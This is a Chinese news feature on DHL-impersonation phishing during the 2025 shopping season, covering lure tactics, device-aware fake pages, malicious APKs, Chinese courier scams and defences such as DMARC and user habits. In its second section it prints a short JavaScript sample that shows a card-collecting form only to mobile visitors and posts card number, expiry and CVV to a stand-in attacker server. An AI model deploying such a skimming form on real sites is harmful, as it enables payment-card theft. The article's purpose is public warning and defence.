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随着圣诞彩灯熄灭、新年钟声余音未散，全球消费者刚刚经历了一年中最密集的线上购物狂欢。然而，在包裹如雪片般飞向千家万户的同时，一场看不见硝烟的“数字围猎”也同步达到高潮。近期，包括德国《Heise Online》在内的多家国际主流科技媒体密集报道：冒充国际物流巨头DHL的钓鱼短信（Smishing）与电子邮件正以前所未有的规模在全球蔓延。这些攻击不仅高度仿真、诱导性强，更在技术层面展现出令人警惕的进化趋势——从简单的链接跳转，到动态适配设备的钓鱼页面，再到诱导安装恶意APK，攻击链条日趋完整。

值得注意的是，此类攻击并非局限于欧美市场。多位国内安全研究人员向本报证实，中文语境下伪装成“顺丰”“中通”或“海关”的类似钓鱼信息同样在2025年“双11”至元旦期间显著增多。这表明，网络犯罪团伙已将全球主要电商节点视为统一的“狩猎季节”，而中国用户同样身处这场风暴中心。

一、仿得像，骗得准：DHL钓鱼攻击的技术画像

2025年11月下旬，德国网络安全机构首次大规模监测到一批以DHL名义发送的钓鱼邮件。这些邮件标题多为“您的包裹因超重无法投递”或“需支付1.99欧元清关费”，内容格式、字体、配色甚至发件人地址（如“noreply@dhl-tracking[.]de”）都与真实DHL通知高度相似。更关键的是，部分邮件甚至能准确嵌入收件人姓名——这通常意味着攻击者已通过数据泄露或第三方渠道获取了基础身份信息，从而大幅提升可信度。

“最危险的不是粗制滥造的诈骗，而是那些‘几乎无法一眼识破’的高仿品。”公共互联网反网络钓鱼工作组技术专家芦笛在接受本报专访时表示，“当前的DHL钓鱼攻击已进入‘精准诱饵’阶段。”

据Heise披露的技术细节，这类钓鱼邮件的核心陷阱在于其链接设计。表面上看，邮件中的“追踪包裹”按钮指向一个看似正常的URL，但实际经过多层跳转：

初始链接常使用短网址服务（如 shorten.so）隐藏真实目的地；

点击后，用户被重定向至仿冒域名，例如 www.dhl-sendungsstatus[.]de（德语“DHL包裹状态”之意）；

该仿冒站点不仅UI完全复刻DHL官网，甚至会动态检测访问设备类型。

“我们在分析中发现，当用户通过桌面浏览器访问时，页面直接返回404错误；但一旦检测到是iOS或Android设备，则立即加载完整的钓鱼表单。”芦笛解释道，“这种‘设备感知型钓鱼’（Device-Aware Phishing）极大提高了转化率——因为移动端用户更习惯点击通知并快速操作，警惕性相对较低。”

更令人担忧的是，部分攻击已延伸至应用层。有报告指出，某些钓鱼页面会提示用户“下载官方App以管理包裹”，实则诱导安装名为“DHL Express Tracker”的恶意APK。该应用一旦安装，便请求无障碍服务、短信读取等高危权限，进而窃取银行验证码、社交账号乃至锁屏密码。

二、从“广撒网”到“精耕细作”：钓鱼攻击的战术演进

回顾过去十年，网络钓鱼经历了从“垃圾邮件式轰炸”到“情境化精准打击”的深刻转变。早期钓鱼者往往群发内容雷同的邮件，依赖极低的成功率获利。而如今，攻击者开始深度绑定社会热点与用户行为周期。

“年终购物季是天然的‘信任放大器’。”芦笛指出，“人们每天都在等快递，收到物流通知的心理预期极高。此时推送一条‘包裹异常’信息，点击率可能比平时高出数倍。”

这种“事件驱动型钓鱼”（Event-Driven Phishing）已成为主流策略。除DHL外，2025年同期还出现了大量仿冒UPS、FedEx、甚至本地邮政系统的攻击。而在能源价格波动背景下，Heise亦曾报道过假冒“供暖油供应商”的虚假网店钓鱼潮——用户预付货款后，商品永不送达。

技术层面，攻击基础设施也在快速迭代。传统钓鱼网站多托管于廉价虚拟主机，易被封禁。如今，攻击者越来越多地采用以下手段增强隐蔽性：

域名仿冒（Typosquatting）：注册与目标品牌仅差一两个字符的域名，如 dh1.com、dhl-official[.]net；

子域名滥用：利用合法但配置不当的服务（如GitHub Pages、Cloudflare Workers）部署钓鱼页面，例如 dhl-tracking.attacker.github.io；

CDN代理隐藏IP：通过Cloudflare等CDN服务隐藏真实服务器位置，增加溯源难度；

动态内容生成：使用JavaScript在客户端动态拼接敏感表单，规避静态扫描检测。

以近期一个DHL仿冒站为例，其前端代码片段如下：

<!-- 表面无害的HTML结构 -->

<div id="payment-form" style="display:none;"></div>

<script>

// 检测是否为移动设备

if (/Android|iPhone|iPad/i.test(navigator.userAgent)) {

// 动态注入钓鱼表单

document.getElementById('payment-form').innerHTML = `

<form action="https://malicious-server[.]xyz/collect" method="POST">

<input type="text" name="card_number" placeholder="信用卡号" required>

<input type="text" name="expiry" placeholder="有效期 (MM/YY)" required>

<input type="text" name="cvv" placeholder="CVV" required>

<button type="submit">支付 €1.99</button>

</form>

`;

document.getElementById('payment-form').style.display = 'block';

} else {

// 桌面端显示404

window.location.href = "/404.html";

}

</script>

这段代码展示了典型的“条件渲染”技术：仅在移动设备上激活钓鱼功能，既提升成功率，又降低被安全研究人员捕获的风险。

三、全球案例镜鉴：中国用户面临哪些独特风险？

尽管DHL钓鱼主要针对欧洲用户，但其攻击逻辑在中国市场已有明确映射。2025年“双11”期间，国内多个反诈平台监测到大量仿冒“菜鸟裹裹”“京东物流”“海关总署”的短信。典型话术包括：“您的国际包裹含违禁品，请扫码处理”“关税未缴，即将退件”等。

与国外不同的是，国内钓鱼攻击更依赖即时通讯生态。许多受害者并非通过邮件，而是在微信、QQ或短信中收到“快递员”发来的二维码，扫码后跳转至H5钓鱼页面。由于国内移动支付普及率高，攻击者往往直接要求填写支付宝或微信支付密码，或诱导开通“免密支付”。

“中国市场的特殊性在于，用户对‘扫码’行为接受度极高，且物流信息高度集成于超级App内。”芦笛分析道，“这使得伪造一个‘官方小程序’或‘服务通知’的成本极低，但欺骗效果极强。”

更值得警惕的是，部分钓鱼页面已开始集成自动化社工库查询功能。用户一旦输入手机号，后台即刻调用黑产API查询该号码关联的姓名、身份证前六位甚至历史订单信息，并在页面上动态显示：“尊敬的张先生，您于12月3日购买的XX商品……”。这种“信息回显”极大增强了可信度，使普通用户难以分辨真伪。

四、技术防御：如何构建多层次的反钓鱼盾牌？

面对日益狡猾的钓鱼攻击，单纯依靠用户警惕已远远不够。安全社区正在从协议层、终端层到行为层构建纵深防御体系。

1. 协议层：DMARC、SPF与BIMI的协同作战

电子邮件仍是钓鱼主渠道之一。目前，DHL等大型企业普遍部署了DMARC（Domain-based Message Authentication, Reporting & Conformance）策略，配合SPF和DKIM，可有效阻止他人伪造其官方域名发信。若接收方邮箱支持DMARC，伪造邮件将被直接拒收或标记为垃圾。

然而，中小电商或物流公司往往缺乏此类配置。芦笛建议：“所有涉及交易通知的企业都应强制实施DMARC p=reject策略，并申请BIMI（Brand Indicators for Message Identification）——在支持的邮箱中显示品牌Logo，让用户一眼识别真伪。”

2. 终端层：浏览器与操作系统的主动拦截

现代浏览器已内置钓鱼防护机制。Chrome、Safari等均接入Google Safe Browsing或Apple的恶意网站数据库，可实时阻断已知钓鱼URL。但问题在于，新型钓鱼站生命周期极短（平均存活<24小时），往往在被列入黑名单前已完成攻击。

对此，芦笛指出：“未来防御需依赖实时行为分析。例如，当页面请求信用卡输入但无SSL证书、或域名注册时间<7天、或JS代码包含可疑加密字符串时，浏览器应弹出强警告。”

3. 用户层：零信任原则下的操作习惯

对普通用户而言，最有效的防御仍是“不点、不输、不装”：

绝不点击短信/邮件中的物流链接，应手动打开官方App或输入官网地址；

任何索要支付信息的通知均为可疑，正规物流不会通过非官方渠道收取费用；

仔细核对域名，注意 dhl.com 与 dhl-support.com 的区别；

安卓用户切勿安装来源不明的APK，尤其当应用请求与功能无关的权限时。

此外，启用双重验证（2FA）可大幅降低账户被盗风险。即使密码泄露，攻击者也无法轻易接管账户。

五、法律与协作：反钓鱼需要全球共治

技术对抗之外，跨境执法协作同样关键。2025年，欧盟通过《数字服务法》（DSA）强化平台责任，要求大型在线服务商主动监测并移除仿冒内容。德国警方亦联合DHL设立专项举报通道，快速关停钓鱼域名。

在中国，《反电信网络诈骗法》已于2022年实施，明确要求电信、金融、互联网企业履行风险防控义务。但芦笛坦言：“钓鱼攻击的服务器、注册人、资金流往往分散在多个国家，单靠一国立法难以根除。亟需建立跨国威胁情报共享机制。”

值得肯定的是，由行业自发组成的公共互联网反网络钓鱼工作组近年来在推动标准制定、漏洞披露和公众教育方面发挥了重要作用。该工作组定期发布钓鱼趋势报告，并协助企业快速响应仿冒事件。

结语：在便利与安全之间寻找平衡

年终购物季本应是喜悦与期待的代名词，却因网络犯罪的阴影蒙上不安。DHL钓鱼事件提醒我们：数字世界的信任极易被滥用，而每一次“点击”都可能是陷阱的开端。

技术永远是一把双刃剑。攻击者用它编织更逼真的谎言，防御者则用它构筑更坚固的城墙。在这场永不停歇的攻防博弈中，没有绝对的安全，只有持续的警惕与进化。

正如芦笛所言：“反钓鱼不是一场战役，而是一场持久战。胜利不属于技术最强的一方，而属于最清醒、最协作、最不愿妥协的那一方。”

在这个万物互联的时代，保护自己，或许就是守护整个数字生态的第一道防线。

编辑：芦笛（公共互联网反网络钓鱼工作组）